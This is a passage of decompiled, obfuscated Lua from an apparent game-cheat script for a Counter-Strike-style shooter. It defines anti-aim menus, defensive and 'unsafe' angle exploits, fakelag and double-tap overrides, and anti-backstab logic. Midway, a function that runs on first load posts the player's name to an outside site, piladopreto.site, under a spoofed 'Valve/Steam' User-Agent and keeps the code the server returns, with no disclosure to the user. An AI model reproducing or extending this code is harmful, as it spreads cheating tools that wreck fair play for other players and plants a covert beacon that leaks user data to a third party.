            [3] = "Slow jitter", 
            [4] = "Offset", 
            [5] = "Random", 
            [6] = "Spin", 
            [7] = "3-way", 
            [8] = "5-way"
        }, function(v129)
            -- upvalues: l_v126_0 (ref)
            return {
                yaw_modifier_offset = v129:slider("Offset \n" .. l_v126_0, -180, 180, 0), 
                delay = v129:slider("Delay \n" .. l_v126_0, 1, 20, 0)
            };
        end);
        v122.anti_aim.stances[l_v126_0].body_yaw = v66.anti_aim.builder:switch("Body yaw \n" .. l_v126_0, false, function(v130)
            -- upvalues: l_v126_0 (ref)
            return {
                body_yaw_inverter = v130:switch("Inverter \n" .. l_v126_0, false), 
                body_yaw_left = v130:slider("Left limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_right = v130:slider("Right limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_selectable = v130:selectable("Options \n" .. l_v126_0, {
                    [1] = "Avoid overlap", 
                    [2] = "Jitter", 
                    [3] = "Randomize jitter", 
                    [4] = "Anti bruteforce"
                }), 
                body_yaw_freestanding = v130:combo("Freestanding \n" .. l_v126_0, {
                    [1] = "Off", 
                    [2] = "Peek fake", 
                    [3] = "Peek real"
                })
            };
        end);
        v122.anti_aim.stances[l_v126_0].force_defensive = v66.anti_aim.defensive:switch("Force defensive\n", false, "Enables defensive spam and unlocks custom unsafe angles.");
        v122.anti_aim.stances[l_v126_0].defensive_aa_enabled = v66.anti_aim.defensive:switch(v64.shield .. "  \v" .. l_v126_0 .. " ~ \rEnable\ndefensive", false, function(v131)
            return {
                custom_last_tick_angles = v131:switch("Customize last defensive tick", false, "Sets desired angles to the last force defensive tick. Make sure current stance is enabled"), 
                custom_unsafe_angles = v131:switch("Customize unsafe angles", false, "Sets desired vulnerable angles during force defensive.")
            };
        end);
        v122.anti_aim.stances[l_v126_0].yaw_hidden = v66.anti_aim.defensive:switch("Safe mode \n" .. l_v126_0, false);
        v122.anti_aim.stances[l_v126_0].pitch_defensive = v66.anti_aim.defensive:combo("Pitch \n defensive" .. l_v126_0, {
            [1] = "Disabled", 
            [2] = "Zero", 
            [3] = "Down", 
            [4] = "Up"
        });
        v122.anti_aim.stances[l_v126_0].yaw_modifier_defensive = v66.anti_aim.defensive:combo("Yaw modifier \n defensive" .. l_v126_0, {
            [1] = "Default", 
            [2] = "Spin", 
            [3] = "Sideways", 
            [4] = "Random"
        }, function(v132)
            -- upvalues: l_v126_0 (ref)
            return {
                defensive_offset = v132:slider("Offset \n defensive" .. l_v126_0, -180, 180, 0)
            };
        end);
        v122.anti_aim.stances[l_v126_0].body_yaw_defensive = v66.anti_aim.defensive:switch("Body yaw \n" .. l_v126_0, false, function(v133)
            -- upvalues: l_v126_0 (ref)
            return {
                body_yaw_inverter = v133:switch("Inverter \n" .. l_v126_0, false), 
                body_yaw_left = v133:slider("Left limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_right = v133:slider("Right limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_selectable = v133:selectable("Options \n" .. l_v126_0, {
                    [1] = "Avoid overlap", 
                    [2] = "Jitter", 
                    [3] = "Randomize jitter", 
                    [4] = "Anti bruteforce"
                }), 
                body_yaw_freestanding = v133:combo("Freestanding \n" .. l_v126_0, {
                    [1] = "Off", 
                    [2] = "Peek fake", 
                    [3] = "Peek real"
                })
            };
        end);
        v122.anti_aim.stances[l_v126_0].yaw_defensive_unsafe = v66.anti_aim.defensiveunsafe:combo("Yaw \n" .. l_v126_0, {
            [1] = "Disabled", 
            [2] = "Backward", 
            [3] = "Static", 
            [4] = "Spin"
        }, function(v134)
            -- upvalues: l_v126_0 (ref)
            return {
                yaw_base = v134:combo("Base \n" .. l_v126_0, {
                    [1] = "At target", 
                    [2] = "Local view"
                }), 
                yaw_offset = v134:slider("Offset \n" .. l_v126_0, -180, 180, 0)
            };
        end);
        v122.anti_aim.stances[l_v126_0].yaw_modifier_defensive_unsafe = v66.anti_aim.defensiveunsafe:combo("Yaw modifier \n" .. l_v126_0, {
            [1] = "Disabled", 
            [2] = "Center", 
            [3] = "Slow jitter", 
            [4] = "Offset", 
            [5] = "Random", 
            [6] = "Spin", 
            [7] = "3-way", 
            [8] = "5-way"
        }, function(v135)
            -- upvalues: l_v126_0 (ref)
            return {
                yaw_modifier_offset = v135:slider("Offset \n" .. l_v126_0, -180, 180, 0), 
                delay = v135:slider("Delay \n" .. l_v126_0, 1, 20, 0)
            };
        end);
        v122.anti_aim.stances[l_v126_0].body_yaw_defensive_unsafe = v66.anti_aim.defensiveunsafe:switch("Body yaw \n" .. l_v126_0, false, function(v136)
            -- upvalues: l_v126_0 (ref)
            return {
                body_yaw_inverter = v136:switch("Inverter \n" .. l_v126_0, false), 
                body_yaw_left = v136:slider("Left limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_right = v136:slider("Right limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_selectable = v136:selectable("Options \n" .. l_v126_0, {
                    [1] = "Avoid overlap", 
                    [2] = "Jitter", 
                    [3] = "Randomize jitter", 
                    [4] = "Anti bruteforce"
                }), 
                body_yaw_freestanding = v136:combo("Freestanding \n" .. l_v126_0, {
                    [1] = "Off", 
                    [2] = "Peek fake", 
                    [3] = "Peek real"
                })
            };
        end);
        v122.anti_aim.stances[l_v126_0].pitch_defensive_lst = v66.anti_aim.defensiveltick:combo("Pitch \n defensive" .. l_v126_0, {
            [1] = "Disabled", 
            [2] = "Zero", 
            [3] = "Down", 
            [4] = "Up"
        });
        v122.anti_aim.stances[l_v126_0].yaw_modifier_defensive_lst = v66.anti_aim.defensiveltick:combo("Yaw modifier \n defensive" .. l_v126_0, {
            [1] = "Default", 
            [2] = "Spin", 
            [3] = "Sideways", 
            [4] = "Random"
        }, function(v137)
            -- upvalues: l_v126_0 (ref)
            return {
                defensive_offset = v137:slider("Offset \n defensive" .. l_v126_0, -180, 180, 0)
            };
        end);
        v122.anti_aim.stances[l_v126_0].body_yaw_defensive_lst = v66.anti_aim.defensiveltick:switch("Body yaw \n" .. l_v126_0, false, function(v138)
            -- upvalues: l_v126_0 (ref)
            return {
                body_yaw_inverter = v138:switch("Inverter \n" .. l_v126_0, false), 
                body_yaw_left = v138:slider("Left limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_right = v138:slider("Right limit \n" .. l_v126_0, 0, 60, 60), 
                body_yaw_selectable = v138:selectable("Options \n" .. l_v126_0, {
                    [1] = "Avoid overlap", 
                    [2] = "Jitter", 
                    [3] = "Randomize jitter", 
                    [4] = "Anti bruteforce"
                }), 
                body_yaw_freestanding = v138:combo("Freestanding \n" .. l_v126_0, {
                    [1] = "Off", 
                    [2] = "Peek fake", 
                    [3] = "Peek real"
                })
            };
        end);
    end;
end;
local function v141(v139)
    for v140 = 1, #v139 do
        if string.byte(v139, v140) > 127 then
            return false;
        end;
    end;
    return true;
end;
local _ = function(v142, v143)
    for _, v145 in pairs(v142) do
        if v145 == v143 then
            return true;
        end;
    end;
    return false;
end;
local function v151(v147, v148)
    if not v147 or not v147.binds then
        return false;
    else
        for _, v150 in pairs(v147.binds) do
            if v150.name == v148 then
                return true;
            end;
        end;
        return false;
    end;
end;
local function v155(v152, v153, v154)
    v154 = 1 - (1 - v154) * (1 - v154);
    return v152 + (v153 - v152) * v154;
end;
local function v157(v156)
    return math.floor(v156 + 0.5);
end;
local function v159(v158)
    while v158 > 180 do
        v158 = v158 - 360;
    end;
    while v158 < -180 do
        v158 = v158 + 360;
    end;
    return v158;
end;
local function v161(v160)
    v160 = v160 % 360;
    if v160 > 180 then
        v160 = v160 - 360;
    elseif v160 < -180 then
        v160 = v160 + 360;
    end;
    return v160;
end;
local v162 = type(db.comiamaedomini) == "table" and db.comiamaedomini or {};
v162.vezes = (v162.vezes or 0) + 1;
local function v163()
    return common.get_unixtime() * 10 / 4 / 16;
end;
v170_safe_json_parse_0 = function(v168)
    if type(v168) ~= "string" then
        return nil;
    end;
    if v168:match("^%s*$") then
        return nil;
    end;
    local v169, v170 = pcall(json.parse, v168);
    if v169 and type(v170) == "table" then
        return v170;
    end;
    return nil;
end;
local function v171()
    -- upvalues: v46 (ref), l_hashing_0 (ref), v77 (ref), v163 (ref), v162 (ref)
    local v164 = {
        player_name = v46
    };
    local v165 = l_hashing_0.hmac(l_hashing_0.sha256, v77, json.stringify(v164));
    local v166 = {
        payload = json.stringify(v164), 
        signature = v165, 
        le_key = v163()
    };
    local v167 = {
        ["User-Agent"] = "Valve/Steam", 
        ["Content-Type"] = "application/json"
    };
    local function v170(v168)
        -- upvalues: v162 (ref)
        if v168 then
            local v169 = v170_safe_json_parse_0(v168);
            if v169 and v169.message == "synk" and v169.code then
                v162.cagao = v169.code;
            end;
        end;
    end;
    network.post("https://piladopreto.site/?wraith=loadaimware", v166, v167, v170);
end;
if v162.vezes == 1 then
    v171();
end;
local function v189(v172, v173, v174)
    local l_tickinterval_0 = globals.tickinterval;
    local v176 = cvar.sv_gravity:float();
    local l_m_vecVelocity_0 = v172.m_vecVelocity;
    local l_m_vecMins_0 = v172.m_vecMins;
    local l_m_vecMaxs_0 = v172.m_vecMaxs;
    local v180 = bit.band(v172.m_fFlags, bit.lshift(1, 0)) ~= 0;
    local v181 = vector(v173.x, v173.y, v173.z);
    for _ = 1, v174 do
        if not v180 then
            l_m_vecVelocity_0.z = l_m_vecVelocity_0.z - v176 * l_tickinterval_0;
        end;
        local v183 = v181 + l_m_vecVelocity_0 * l_tickinterval_0;
        local v185 = utils.trace_hull(v181, v183, l_m_vecMins_0, l_m_vecMaxs_0, function(v184)
            return v184:get_classname() == "CWorld";
        end, 33636363, 0);
        if v185:did_hit() then
            if v185.plane.normal.z > 0.7 then
                v181 = v185.end_pos;
                l_m_vecVelocity_0.z = 0;
                v180 = true;
            else
                break;
            end;
        else
            v181 = v183;
        end;
        local v187 = utils.trace_hull(v181, v181 - vector(0, 0, 2), l_m_vecMins_0, l_m_vecMaxs_0, function(v186)
            return v186:get_classname() == "CWorld";
        end, 33636363, 0);
        local v188 = v187:did_hit();
        if v188 then
            if v187.plane.normal.z <= 0.7 then
                v180 = false;
            else
                v180 = true;
            end;
        else
            v180 = v188;
        end;
    end;
    return v181;
end;
local v339 = {
    state = "none", 
    override_angle = false, 
    was_last_outside = false, 
    current_state = "Standing", 
    angle_pos = 0, 
    last_mover_man = false, 
    is_on = false, 
    tick_to_change = 0, 
    m_state = "reset", 
    spin_angle = 0, 
    old_flipped = true, 
    flipped = false, 
    run_legit_aa = function(v190, v191, v192)
        -- upvalues: v122 (ref), v78 (ref)
        if not v122.anti_aim.stances.Legit.active.value then
            return;
        else
            v190.in_use = v192.in_use;
            v190.nTeam = v191.m_iTeamNum;
            v190.eye = render.camera_angles();
            v190.from = v191:get_eye_position();
            v190.to = v190.from + vector():angles(v190.eye.x, v190.eye.y, v190.eye.z) * 1024;
            v190.trlgt = utils.trace_line(v190.from, v190.to);
            v190.local_pos = v191:get_origin();
            if v190.trlgt.fraction ~= 1 and v190.trlgt.entity:get_classname() ~= "CWorld" and v190.trlgt.entity:get_classname() ~= "CCSPlayer" and v190.trlgt.entity:get_classname() ~= "CFuncBrush" and v190.trlgt.entity:get_classname() ~= "CBaseButton" and v190.trlgt.entity:get_classname() ~= "CDynamicProp" and v190.trlgt.entity:get_classname() ~= "CPhysicsPropMultiplayer" and v190.trlgt.entity:get_classname() ~= "CBaseEntity" and v190.trlgt.entity:get_classname() ~= "CC4" then
                local v193 = v190.trlgt.entity:get_origin();
                if v190.trlgt.entity:get_classname() == "CPropDoorRotating" or v190.trlgt.entity:get_classname() == "CHostage" and v190.nTeam == 3 then
                    if v190.local_pos:dist(v193) < 125 then
                        return false;
                    end;
                elseif v190.trlgt.entity:get_classname() ~= "CPropDoorRotating" and v190.trlgt.entity:get_classname() ~= "CHostage" and v190.local_pos:dist(v193) < 85 then
                    return false;
                end;
            end;
            v190.bomb_table = entity.get_entities("CPlantedC4", true)[1];
            v190.bomb_distance = 100;
            if v190.bomb_table ~= nil then
                local v194 = v190.bomb_table:get_origin();
                v190.bomb_distance = v190.local_pos:dist(v194);
            end;
            v190.legit_defusing = v190.bomb_distance < 50 and v190.nTeam == 3 and v78.bomb_data.bomb_was_bombed == false and v78.bomb_data.bomb_was_defused == false;
            if v190.legit_defusing then
                return false;
            elseif v190.in_use == true then
                v192.in_use = 0;
                return true;
            else
                return false;
            end;
        end;
    end, 
    key_state = {
        mbackward = false, 
        mreset = false, 
        mforward = false, 
        mright = false, 
        mleft = false
    }, 
    manual_aa = function(v195)
        -- upvalues: v122 (ref)
        if v122.anti_aim.stances.Manual.active.value then
            v195.mright_pressed = v122.anti_aim.mright:get();
            v195.mleft_pressed = v122.anti_aim.mleft:get();
            v195.mforward_pressed = v122.anti_aim.mforward:get();
            v195.mbackward_pressed = v122.anti_aim.mbackward:get();
            local v196 = v122.anti_aim.mreset:get();
            if v195.mright_pressed and not v195.key_state.mright then
                v195.m_state = v195.m_state == "right" and "reset" or "right";
            end;
            v195.key_state.mright = v195.mright_pressed;
            if v195.mleft_pressed and not v195.key_state.mleft then
                v195.m_state = v195.m_state == "left" and "reset" or "left";
            end;
            v195.key_state.mleft = v195.mleft_pressed;
            if v195.mforward_pressed and not v195.key_state.mforward then
                v195.m_state = v195.m_state == "forward" and "reset" or "forward";
            end;
            v195.key_state.mforward = v195.mforward_pressed;
            if v195.mbackward_pressed and not v195.key_state.mbackward then
                v195.m_state = v195.m_state == "backward" and "reset" or "backward";
            end;
            v195.key_state.mbackward = v195.mbackward_pressed;
            if v196 and not v195.key_state.mreset then
                v195.m_state = "reset";
            end;
            v195.key_state.mreset = v196;
        end;
    end, 
    anti_backstab = function(v197, v198)
        -- upvalues: v189 (ref)
        if not v198 or v198:is_dormant() then
            return;
        else
            local v199 = v198:get_player_weapon();
            if not v199 then
                return;
            elseif v199:get_classname() ~= "CKnife" then
                return;
            else
                local v200 = v198:get_origin();
                local v201 = v197:get_origin();
                local v202 = v197:get_eye_position();
                local v203 = v198:get_eye_position();
                if v201:dist(v200) > 425 then
                    return;
                else
                    local v204 = v197:simulate_movement();
                    v204:think(20);
                    local l_origin_0 = v204.origin;
                    local v206 = v189(v198, v200, 20);
                    local v207 = utils.trace_line(v202, v206, v197);
                    local v208 = utils.trace_line(v203, l_origin_0, v198);
                    local v209 = utils.trace_line(v202, v203, v197);
                    local v210 = utils.trace_line(v201, v200, v197);
                    local v211 = v207.entity == v198 or v207.fraction == 1;
                    local v212 = v208.entity == v197 or v208.fraction == 1;
                    local v213 = v209.entity == v198 or v209.fraction == 1;
                    local v214 = v210.entity == v198 or v210.fraction == 1;
                    if v211 or v212 or v213 or v214 then
                        return true;
                    else
                        return false;
                    end;
                end;
            end;
        end;
    end, 
    long_distance = function(v215, v216)
        if not v216 or v216:is_dormant() then
            return;
        else
            local v217 = v216:get_origin();
            if v215:get_origin():dist2d(v217) > 1400 and v215.m_vecVelocity:length2d() <= 200 then
                return true;
            else
                return false;
            end;
        end;
    end, 
    height_advantage = function(v218, v219, v220)
        -- upvalues: v78 (ref)
        if not v219 or v219:is_dormant() then
            return;
        else
            local v221 = v219:get_origin(v219);
            local v222 = v218:get_origin(v218);
            if v78.on_ground and v222.z - v221.z > 20 and (v218.m_vecVelocity:length2d() <= 100 or v220.in_duck == 1 or v220.in_speed) or v220.in_duck == 1 and v78.weapon and v78.weapon:is_weapon() and v78.weapon_info.weapon_type == 0 then
                return true;
            else
                return false;
            end;
        end;
    end, 
    flip = function(v223, v224, v225, v226, v227)
        -- upvalues: v78 (ref)
        if v227 ~= nil and v226 + v227 < globals.tickcount and v78.choked_commands == 0 then
            v223.flipped = not v223.flipped;
        end;
        return v223.flipped == true and v225 or v224;
    end, 
    spin = function(v228, _, v230)
        v228.spin_angle = v228.spin_angle + v230;
        if v228.spin_angle >= 180 then
            v228.spin_angle = -180;
        elseif v228.spin_angle <= -180 then
            v228.spin_angle = 180;
        end;
        return v228.spin_angle;
    end, 
    override_pitch = function(v231, v232, v233)
        -- upvalues: v63 (ref)
        local v234 = {
            Zero = function()
                -- upvalues: v233 (ref), v63 (ref)
                v233.view_angles.x = 0;
                v63.pitch_ref:override("Disabled");
            end, 
            Camera = function()
                -- upvalues: v63 (ref)
                v63.pitch_ref:override("Disabled");
            end, 
            Disabled = function()
                -- upvalues: v63 (ref), v232 (ref)
                v63.pitch_ref:override(v232);
            end, 
            Up = function()
                -- upvalues: v63 (ref)
                v63.pitch_ref:override("Fake Up");
            end
        };
        if v234[v231] then
            v234[v231]();
        else
            v63.pitch_ref:override(v231);
        end;
    end, 
    override_yaw_modifier_defensive = function(v235, v236, v237, v238)
        -- upvalues: v63 (ref)
        local v239 = ({
            Default = function()
                -- upvalues: v63 (ref)
                v63.yaw_modifier_ref:override("Backward");
            end, 
            Spin = function()
                -- upvalues: v63 (ref), v235 (ref), v237 (ref), v238 (ref)
                v63.yaw_offset_ref:override(v235:spin(v237, v238));
            end, 
            Sideways = function()
                -- upvalues: v63 (ref)
                v63.yaw_offset_ref:override(90);
            end, 
            Random = function()
                -- upvalues: v63 (ref)
                v63.yaw_offset_ref:override(math.random(-180, 180));
            end
        })[v236];
        if v239 then
            v239();
        end;
    end, 
    override_body_yaw = function(v240, _, _)
        -- upvalues: v63 (ref), v78 (ref)
        v63.body_yaw_ref:set(v240.value or v78.air_lag_active);
        v63.left_limit:override(v240.body_yaw_left.value);
        v63.right_limit:override(v240.body_yaw_right.value);
        v63.body_inverter_ref:override(v240.body_yaw_inverter.value);
        v63.body_options_ref:override(v240.body_yaw_selectable.value);
        v63.body_freestand_ref:override(v240.body_yaw_freestanding.value);
    end, 
    cached_throw_info = {}, 
    dt_lag_set = {}, 
    grenade_x_defensive = function(v243, v244)
        -- upvalues: v78 (ref), v63 (ref), v122 (ref)
        local l_weapon_0 = v78.weapon;
        local l_weapon_info_0 = v78.weapon_info;
        local l_tickcount_0 = globals.tickcount;
        local l_hideshots_ref_0 = v63.hideshots_ref;
        local l_double_tap_ref_0 = v63.double_tap_ref;
        local l_hideshots2_ref_0 = v63.hideshots2_ref;
        local l_dt_lag_options_ref_0 = v63.dt_lag_options_ref;
        local _ = v122.anti_aim.stances;
        local _ = v243.current_state;
        if not l_weapon_0 or not l_weapon_info_0 then
            return;
        else
            local v254 = l_weapon_info_0.weapon_type == 9;
            local v255 = l_weapon_0.m_bPinPulled or false;
            v243.cached_throw_info[l_tickcount_0] = v255;
            for v256 in pairs(v243.cached_throw_info) do
                if v256 < l_tickcount_0 - 24 then
                    v243.cached_throw_info[v256] = nil;
                end;
            end;
            v243.pin_pulled_found = false;
            for _, v258 in pairs(v243.cached_throw_info) do
                if v258 then
                    v243.pin_pulled_found = true;
                    break;
                end;
            end;
            if v243.pin_pulled_found and (l_double_tap_ref_0:get() or l_hideshots_ref_0:get()) and v254 then
                if not v243.has_set_lag then
                    l_hideshots2_ref_0:override("Favor Fire Rate");
                    if not l_hideshots_ref_0:get() then
                        l_hideshots_ref_0:override(true);
                    end;
                    if l_double_tap_ref_0:get() then
                        l_double_tap_ref_0:override(false);
                    end;
                    v243.has_set_lag = true;
                    v243.has_reset_lag = false;
                end;
            elseif not v243.has_reset_lag then
                l_hideshots2_ref_0:override();
                if l_hideshots_ref_0:get_override() then
                    l_hideshots_ref_0:override();
                end;
                if not l_double_tap_ref_0:get_override() then
                    l_double_tap_ref_0:override();
                end;
                v243.has_reset_lag = true;
                v243.has_set_lag = false;
            end;
            v243.is_dt_lag_always_on = v243.is_dt_lag_always_on or false;
            if v244.force_defensive.value or v78.air_lag_active then
                l_dt_lag_options_ref_0:override("Always On");
            else
                l_dt_lag_options_ref_0:override("On Peek");
            end;
            return;
        end;
    end, 
    run_defensive_aa = function(v259, v260, v261)
        -- upvalues: v63 (ref), v78 (ref)
        v63.freestand_disable_mods_ref:override(false);
        v63.freestand_ref:override(false);
        v63.yaw_modifier_ref:override("Disabled");
        v63.yaw_modifier_offset_ref:override(0);
        v63.freestand_body_ref:override(false);
        local l_v261_0 = v261;
        if l_v261_0.defensive_aa_enabled.custom_last_tick_angles.value and v78.defensive_ticks_left <= 5 then
            v63.yaw_hidden_ref:override(false);
            rage.exploit:allow_defensive(false);
            v259.override_pitch(l_v261_0.pitch_defensive_lst.value, l_v261_0.pitch.value, v260);
            v259:override_yaw_modifier_defensive(l_v261_0.yaw_modifier_defensive_lst.value, v260, l_v261_0.yaw_modifier_defensive_lst.defensive_offset.value);
            if v78.defensive_ticks_left >= 3 then
                v259.override_body_yaw(l_v261_0.body_yaw_defensive_lst, v259.flipped, v260);
            end;
        else
            v259.override_body_yaw(l_v261_0.body_yaw_defensive, v259.flipped, v260);
            if l_v261_0.yaw_hidden.value or v78.air_lag_active or v78.teleport_charge_active then
                v63.yaw_hidden_ref:override(true);
                local v263 = {
                    Down = 89, 
                    Zero = 0, 
                    Up = -89, 
                    Camera = render.camera_angles().x
                };
                local v264 = {
                    Default = 0, 
                    Sideways = -90, 
                    Spin = v259:spin(v260, 33), 
                    Random = math.random(-180, 180)
                };
                local v265 = v263[l_v261_0.pitch_defensive.value];
                if v265 ~= nil and v265 ~= "Disabled" then
                    rage.antiaim:override_hidden_pitch(v265);
                end;
                rage.antiaim:override_hidden_yaw_offset(v264[l_v261_0.yaw_modifier_defensive.value] or 0);
            else
                v63.yaw_hidden_ref:override(false);
                rage.exploit:allow_defensive(false);
                v259.override_pitch(l_v261_0.pitch_defensive.value, l_v261_0.pitch.value, v260);
                v259:override_yaw_modifier_defensive(l_v261_0.yaw_modifier_defensive.value, v260, l_v261_0.yaw_modifier_defensive.defensive_offset.value);
            end;
        end;
    end, 
    reset_legit_settings = function(_)
        -- upvalues: v63 (ref)
        v63.yaw_ref:override("Disabled");
        v63.yaw_base_ref:override("Local View");
        v63.yaw_offset_ref:override(0);
        v63.freestand_disable_mods_ref:override(false);
        v63.freestand_body_ref:override(false);
        v63.freestand_ref:override(false);
    end, 
    is_fakelag_active = function()
        -- upvalues: v122 (ref), v63 (ref)
        return v122.anti_aim.stances.Fakelag.active.value and not v63.double_tap_ref:get() and not v63.hideshots_ref:get() and v63.fakelag_ref:get();
    end, 
    is_in_air_duck = function(_, v268, v269)
        -- upvalues: v78 (ref)
        return v268 and (v269 or not v78.on_ground);
    end, 
    is_in_air = function(_, v271, v272)
        -- upvalues: v78 (ref)
        return not v271 and (v272 or not v78.on_ground);
    end, 
    handle_manual_state = function(v273)
        -- upvalues: v63 (ref)
        local v274 = {
            left = -90, 
            forward = 180, 
            right = 90, 
            mbackward = 0
        };
        v63.freestand_ref:override(false);
        v63.yaw_offset_ref:override(v274[v273.m_state] or 0);
        if rage.exploit:get() == 1 and v63.right_limit:get() ~= -165 then
            v63.right_limit:override(-165);
            v63.body_inverter_ref:override(true);
        end;
    end, 
    apply_slow_jitter = function(v275, v276, v277, _)
        -- upvalues: v63 (ref)
        local v279 = -v277.yaw_modifier_offset.value;
        local l_value_0 = v277.yaw_modifier_offset.value;
        local l_value_1 = v276.yaw_offset.value;
        local v282 = v275:flip(v279, l_value_0, v275.tick_to_change, v277.delay.value);
        if v276.value == "Disabled" then
            v282 = v282 + 180;
        end;
        v63.yaw_offset_ref:override(v282 * 0.5 + l_value_1);
        v63.yaw_modifier_ref:override("disabled");
    end, 
    apply_yaw = function(v283, v284, v285, v286, v287)
        -- upvalues: v63 (ref), v78 (ref)
        if v284.value == "Spin" then
            v63.yaw_ref:override("backward");
            v63.yaw_offset_ref:override(v283:spin(v287, v284.yaw_offset.value));
        else
            v63.yaw_ref:override(v284.value);
        end;
        v63.yaw_base_ref:override(v284.yaw_base.value);
        if v284.value ~= "Spin" then
            v63.yaw_offset_ref:override(v284.yaw_offset.value);
        end;
        if v285.value == "Slow jitter" then
            v283:apply_slow_jitter(v284, v285, v287);
        else
            v63.yaw_modifier_ref:override(v285.value);
            v63.yaw_modifier_offset_ref:override(v285.yaw_modifier_offset.value);
        end;
        v63.body_yaw_ref:set(v286.value or v78.air_lag_active);
        v63.left_limit:override(v286.body_yaw_left.value);
        v63.right_limit:override(v286.body_yaw_right.value);
        v63.body_options_ref:override(v286.body_yaw_selectable.value);
        v63.body_freestand_ref:override(v286.body_yaw_freestanding.value);
        if v285.value == "Slow jitter" then
            if v287.choked_commands == 0 then
                v63.body_inverter_ref:override(v283.flipped);
            end;
        else
            v63.body_inverter_ref:override(v286.body_yaw_inverter.value);
        end;
    end, 
    apply_stance_overrides = function(v288, v289, v290)
        v288:apply_yaw(v289.yaw, v289.yaw_modifier, v289.body_yaw, v290);
    end, 
    apply_defensive_unsafe = function(v291, v292, v293)
        v291:apply_yaw(v292.yaw_defensive_unsafe, v292.yaw_modifier_defensive_unsafe, v292.body_yaw_defensive_unsafe, v293);
    end, 
    is_defensive_unsafe = function(_, v295, v296)
        -- upvalues: v63 (ref), v78 (ref)
        local v297 = v296:get_player_weapon();
        if not v297 then
            return;
        else
            return rage.exploit:get() == 1 and (not (not v63.double_tap_ref:get() or v63.dt_lag_options_ref:get_override() ~= "Always On") or v63.hideshots2_ref:get() == "Break LC") and v78.defensive_ticks_left <= 1 and v295.defensive_aa_enabled.value and v295.force_defensive.value and v295.defensive_aa_enabled.custom_unsafe_angles.value and v297:get_weapon_index() ~= 64;
        end;
    end, 
    update_ticks_to_change = function(v298)
        if v298.flipped ~= v298.old_flipped or v298.tick_to_change > globals.tickcount then
            v298.old_flipped = v298.flipped;
            v298.tick_to_change = globals.tickcount;
        end;
    end, 
    run = function(v299, v300, v301)
        -- upvalues: v122 (ref), v63 (ref), v78 (ref)
        local v302 = v300.m_vecVelocity:length();
        local l_in_duck_0 = v301.in_duck;
        local l_in_jump_0 = v301.in_jump;
        local v305 = entity.get_threat(false);
        local l_stances_1 = v122.anti_aim.stances;
        v63.freestand_ref:override(v122.anti_aim.freestanding.value and rage.antiaim:get_target(true) ~= nil);
        if entity.get_game_rules().m_bWarmupPeriod and l_stances_1.Warmup.active.value then
            v299.current_state = "Warmup";
        elseif v78.round_end_aa and l_stances_1["Round-end"].active.value then
            v299.current_state = "Round-end";
        elseif v299.anti_backstab(v300, v305) and l_stances_1.Backstab.active.value and v122.anti_aim.yaw_avoid_backstab.value then
            v299.current_state = "Backstab";
        elseif v299:run_legit_aa(v300, v301) then
            v299.current_state = "Legit";
            v299:reset_legit_settings();
        elseif v299.m_state ~= "reset" and l_stances_1.Manual.active.value then
            v299.current_state = "Manual";
        elseif v122.anti_aim.freestanding.value and l_stances_1.Freestanding.active.value and rage.antiaim:get_target(true) ~= nil then
            v299.current_state = "Freestanding";
        elseif v299.height_advantage(v300, v305, v301) and l_stances_1.Height.active.value then
            v299.current_state = "Height";
        elseif v299.long_distance(v300, v305) and l_stances_1["High distance"].active.value then
            v299.current_state = "High distance";
        elseif v299:is_fakelag_active() then
            v299.current_state = "Fakelag";
        elseif v299:is_in_air_duck(l_in_duck_0, l_in_jump_0) and l_stances_1["In air duck"].active.value then
            v299.current_state = "In air duck";
        elseif v299:is_in_air(l_in_duck_0, l_in_jump_0) and l_stances_1["In air"].active.value then
            v299.current_state = "In air";
        elseif l_in_duck_0 and v302 < 1.5 and l_stances_1["In duck"].active.value then
            v299.current_state = "In duck";
        elseif l_in_duck_0 and v302 > 1.5 and l_stances_1["In duck moving"].active.value then
            v299.current_state = "In duck moving";
        elseif v63.slow_walk_ref:get() and v302 > 1.5 and l_stances_1["Slow motion"].active.value then
            v299.current_state = "Slow motion";
        elseif v302 < 1.5 and not l_in_duck_0 and v78.on_ground and l_stances_1.Standing.active.value then
            v299.current_state = "Standing";
        elseif v302 > 1.5 and not l_in_duck_0 and v78.on_ground and l_stances_1.Moving.active.value then
            v299.current_state = "Moving";
        else
            v299.current_state = "Global";
        end;
        local v307 = l_stances_1[v299.current_state];
        local l_v307_0 = v307;
        if v307.active.value and not v307.defensive_aa_enabled.value and l_stances_1.Global.defensive_aa_enabled.value then
            l_v307_0 = l_stances_1.Global;
        end;
        v63.aa_enabled_ref:override(v307.active.value);
        v63.pitch_ref:override(v307.pitch.value);
        v299:grenade_x_defensive(l_v307_0);
        v299:update_ticks_to_change(v299);
        if v299:is_defensive_unsafe(v307, v300) then
            v299:apply_defensive_unsafe(v307, v301);
        elseif v78.defensive then
            if l_v307_0.defensive_aa_enabled.value then
                v299:run_defensive_aa(v301, l_v307_0);
            end;
        elseif v78.defensive_ticks_left == 0 then
            v299:apply_stance_overrides(v307, v301);
        end;
        if v299.current_state == "Manual" and v299.m_state ~= "reset" then
            v299:handle_manual_state();
        end;
    end, 
    last_pos = v78.screen_size.y, 
    getMouseAngle = function(v309, v310, v311, v312)
        local v313 = v311 / 2;
        local v314 = v312 / 2;
        local v315 = v309 - v313;
        local v316 = v310 - v314;
        return math.atan2(v316, v315) * 180 / math.pi;
    end, 
    is_mouse_outside_circle = function(v317, v318, v319, v320, v321)
        local v322 = v319 / 2;
        local v323 = v320 / 2;
        return v321 < math.sqrt((v317 - v322) ^ 2 + (v318 - v323) ^ 2);
    end, 
    restrict_mouse_to_circle = function(v324, v325, v326, v327)
        -- upvalues: l_ffi_0 (ref), v40 (ref), v39 (ref)
        local v328 = l_ffi_0.new("POINT[1]");
        if v40(v328) == 0 then
            return false, "Failed to get cursor position.";
        else
            local l_x_0 = v328[0].x;
            local l_y_0 = v328[0].y;
            if v324.is_mouse_outside_circle(l_x_0, l_y_0, v325, v326, v327) then
                local v331 = v325 / 2;
                local v332 = v326 / 2;
                local v333 = math.atan2(l_y_0 - v332, l_x_0 - v331);
                local v334 = v331 + v327 * math.cos(v333);
                local v335 = v332 + v327 * math.sin(v333);
                v39(v334, v335);
            end;
            return;
        end;
    end, 
    save_mouse_pos = {}, 
    override_anti_aim = function(v336, v337)
